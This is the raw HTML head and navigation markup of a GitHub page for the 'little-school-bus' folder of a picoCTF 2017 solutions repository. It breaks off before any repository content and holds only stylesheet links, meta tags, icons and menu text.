data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>picoctf-2017/little-school-bus at master · s-nirali/picoctf-2017 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="8397:6BE1:1C868128:1D5D183B:6412257F" data-pjax-transient="true"/><meta name="html-safe-nonce" content="ab003e462cd3ed07d32794209ac90c479657c98925042a2be438513cbf59f404" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI4Mzk3OjZCRTE6MUM4NjgxMjg6MUQ1RDE4M0I6NjQxMjI1N0YiLCJ2aXNpdG9yX2lkIjoiMjk2NzkwODIxNjY2MTQ4NDkyNyIsInJlZ2lvbl9lZGdlIjoiZnJhIiwicmVnaW9uX3JlbmRlciI6ImZyYSJ9" data-pjax-transient="true"/><meta name="visitor-hmac" content="47df37ed9667ad4cfa018d52599971c2d8245914277974a67e84faa891890764" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:106162393" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I"> <meta name="octolytics-url" content="https://collector.github.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-turbo-transient="true" /> <meta name="user-login" content=""> <meta name="viewport" content="width=device-width"> <meta name="description" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/bbd6f35e3e774441751d38a1f1129cb556f4f365c87fb2b9f072d8720db52cc2/s-nirali/picoctf-2017" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="picoctf-2017/little-school-bus at master · s-nirali/picoctf-2017" /><meta name="twitter:description" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/bbd6f35e3e774441751d38a1f1129cb556f4f365c87fb2b9f072d8720db52cc2/s-nirali/picoctf-2017" /><meta property="og:image:alt" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="picoctf-2017/little-school-bus at master · s-nirali/picoctf-2017" /><meta property="og:url" content="https://github.com/s-nirali/picoctf-2017" /><meta property="og:description" content="https://2017game.picoctf.com/game. Contribute to s-nirali/picoctf-2017 development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="hostname" content="github.com"> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="TURBO_EXPERIMENT_RISKY,IMAGE_METRIC_TRACKING,GEOJSON_AZURE_MAPS"> <meta http-equiv="x-pjax-version" content="ef97471de14f8d2285f0269e8f0f7dc70845f693d3f6ccd2dd2daae5cd1bbebe" data-turbo-track="reload"> <meta http-equiv="x-pjax-csp-version" content="2a84822a832da97f1ea76cf989a357ec70c85713a2fd8f14c8421b76bbffe38c" data-turbo-track="reload"> <meta http-equiv="x-pjax-css-version" content="adfc12179419e463f9f320d07920b1684c9b7e060d4d9cd3a6cd5d0de37ce710" data-turbo-track="reload"> <meta http-equiv="x-pjax-js-version" content="711646ae23abb27cf728346f30f81c042d4428233a0795acf0e21ed664fe9d94" data-turbo-track="reload"> <meta name="turbo-cache-control" content="no-preview" data-turbo-transient=""> <meta data-hydrostats="publish"> <meta name="go-import" content="github.com/s-nirali/picoctf-2017 git https://github.com/s-nirali/picoctf-2017.git"> <meta name="octolytics-dimension-user_id" content="25746945" /><meta name="octolytics-dimension-user_login" content="s-nirali" /><meta name="octolytics-dimension-repository_id" content="106162393" /><meta name="octolytics-dimension-repository_nwo" content="s-nirali/picoctf-2017" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="106162393" /><meta name="octolytics-dimension-repository_network_root_nwo" content="s-nirali/picoctf-2017" /> <link rel="canonical" href="https://github.com/s-nirali/picoctf-2017/tree/master/little-school-bus" data-turbo-transient> <meta name="turbo-body-classes" content="logged-out env-production page-responsive"> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-04fa93bb158a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-9920eaa99f50.js"></script><header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner"> <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation"> <span>Toggle navigation</span> </button> <div class="container-xl d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1"> <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <div class="flex-1"> Sign up </div> <div class="flex-1 flex-order-2 text-right"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span> <span><div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div> <div class="HeaderMenu-toggle-bar rounded my-1"></div></span> </span></button> </div> </div> <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0"> <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0"> <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global"> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Product <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-workflow color-fg-subtle mr-3"> <path d="M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z"></path></svg> <div> <div class="color-fg-default h4">Actions</div> Automate any workflow </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-package color-fg-subtle mr-3"> <path d="M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z"></path></svg> <div> <div class="color-fg-default h4">Packages</div> Host and manage packages </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-shield-check color-fg-subtle mr-3"> <path d="M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z"></path><path d="m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z"></path></svg> <div> <div class="color-fg-default h4">Security</div> Find and fix vulnerabilities </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-codespaces color-fg-subtle mr-3"> <path d="M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z"></path><path d="M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z"></path></svg> <div> <div class="color-fg-default h4">Codespaces</div> Instant dev environments </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-copilot color-fg-subtle mr-3"> <path d="M9.75 14a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Zm4.5 0a.75.75 0 0 1 .75.75v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 .75-.75Z"></path><path d="M12 2c2.214 0 4.248.657 5.747 1.756.136.099.268.204.397.312.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086l.633 1.478.043.022A4.75 4.75 0 0 1 24 15.222v1.028c0 .529-.309.987-.565 1.293-.28.336-.636.653-.966.918a13.84 13.84 0 0 1-1.299.911l-.024.015-.006.004-.039.025c-.223.135-.45.264-.68.386-.46.245-1.122.571-1.941.895C16.845 21.344 14.561 22 12 22c-2.561 0-4.845-.656-6.479-1.303a19.046 19.046 0 0 1-1.942-.894 14.081 14.081 0 0 1-.535-.3l-.144-.087-.04-.025-.006-.004-.024-.015a13.16 13.16 0 0 1-1.299-.911 6.913 6.913 0 0 1-.967-.918C.31 17.237 0 16.779 0 16.25v-1.028a4.75 4.75 0 0 1 2.626-4.248l.043-.022.633-1.478a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.498 1.132-3.368.397-.406.89-.717 1.474-.952.129-.108.261-.213.397-.312C7.752 2.657 9.786 2 12 2Zm-8 9.654v6.669a17.59 17.59 0 0 0 2.073.98C7.595 19.906 9.686 20.5 12 20.5c2.314 0 4.405-.594 5.927-1.197a17.59 17.59 0 0 0 2.073-.98v-6.669l-.038-.09c-.046.061-.095.12-.145.177-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.544-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.344a4.323 4.323 0 0 1-.355.508C10.704 12.456 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a3.026 3.026 0 0 1-.145-.177Zm6.309-1.092c.445-.547.708-1.334.851-2.301.057-.357.087-.718.09-1.079v-.031c-.001-.762-.166-1.26-.43-1.568l-.008-.01c-.341-.391-1.046-.689-2.533-.529-1.505.163-2.347.537-2.824 1.024-.462.473-.705 1.18-.705 2.32 0 .605.044 1.087.135 1.472.092.384.231.672.423.89.365.413 1.084.75 2.657.75.91 0 1.527-.223 1.964-.564.14-.11.268-.235.38-.374Zm2.504-2.497c.136 1.057.403 1.913.878 2.497.442.545 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.151.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.318-.862-2.824-1.025-1.487-.161-2.192.139-2.533.529-.268.308-.437.808-.438 1.578v.02c.002.299.023.598.063.894Z"></path></svg> <div> <div class="color-fg-default h4">Copilot</div> Write better code with AI </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-code-review color-fg-subtle mr-3"> <path d="M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z"></path><path d="M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z"></path></svg> <div> <div class="color-fg-default h4">Code review</div> Manage code changes </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-issue-opened color-fg-subtle mr-3"> <path d="M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z"></path></svg> <div> <div class="color-fg-default h4">Issues</div> Plan and track work </div> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-comment-discussion color-fg-subtle mr-3"> <path d="M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" 